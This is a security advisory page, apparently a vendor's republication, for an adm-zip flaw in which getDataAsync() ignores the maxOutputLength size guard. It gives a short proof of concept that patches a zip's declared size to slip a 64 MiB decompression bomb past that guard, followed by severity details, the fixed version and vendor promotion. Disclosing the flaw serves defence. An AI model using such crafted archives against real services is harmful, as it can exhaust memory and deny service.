Summary
adm-zip: getDataAsync() bypasses the maxOutputLength size guard enforced by the synchronous getData() path
adm-zip enforces a maxOutputLength guard against decompression bombs on its synchronous getData() path, but the equivalent asynchronous getDataAsync() path does not enforce it, it accumulates and returns the entire decompressed output regardless of the entry's declared size. An application that checks an entry's declared size before deciding to process it, then reads the entry via getDataAsync() (a completely ordinary, often-recommended choice for I/O in Node.js), gets none of the protection it believes it has.
Details
methods/inflater.js:3-10passes{maxOutputLength: expectedLength}toinflateRawSync, which Node enforces.methods/inflater.js:12-31passes the same option tocreateInflateRawbut never enforces it on the streaming path, it just accumulates every chunk and allocates a final Buffer of whatever size resulted.
PoC
const AdmZip = require('adm-zip');
const zip = new AdmZip();
zip.addFile('p', Buffer.alloc(64 * 1024 * 1024, 0x41)); // 64 MiB
const raw = Buffer.from(zip.toBuffer());
// patch the local + central declared uncompressed size to 1 byte
raw.writeUInt32LE(1, localHeaderSizeOffset);
raw.writeUInt32LE(1, centralHeaderSizeOffset);
const entry = new AdmZip(raw).getEntry('p');
entry.getData();
// throws: ERR_BUFFER_TOO_LARGE: Cannot create a Buffer larger than 1 bytes
entry.getDataAsync((data, error) => { ... });
// returns the full 67,108,864-byte buffer, error is undefined
Impact
An application that validates a declared size before reading an entry, then uses the async API, gets no protection against a high-ratio DEFLATE payload. Repeated or larger requests could contribute to memory exhaustion.
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
GHSA-C6FG-446Q-CG94 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.6.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is GHSA-C6FG-446Q-CG94? GHSA-C6FG-446Q-CG94 is a medium-severity uncontrolled resource consumption vulnerability in adm-zip (npm), affecting versions <= 0.6.0. It is fixed in 0.6.1. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is GHSA-C6FG-446Q-CG94? GHSA-C6FG-446Q-CG94 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of adm-zip are affected by GHSA-C6FG-446Q-CG94? adm-zip (npm) versions <= 0.6.0 is affected.
- Is there a fix for GHSA-C6FG-446Q-CG94? Yes. GHSA-C6FG-446Q-CG94 is fixed in 0.6.1. Upgrade to this version or later.
- Is GHSA-C6FG-446Q-CG94 exploitable, and should I be worried? Whether GHSA-C6FG-446Q-CG94 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-C6FG-446Q-CG94 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-C6FG-446Q-CG94? Upgrade
adm-zipto 0.6.1 or later.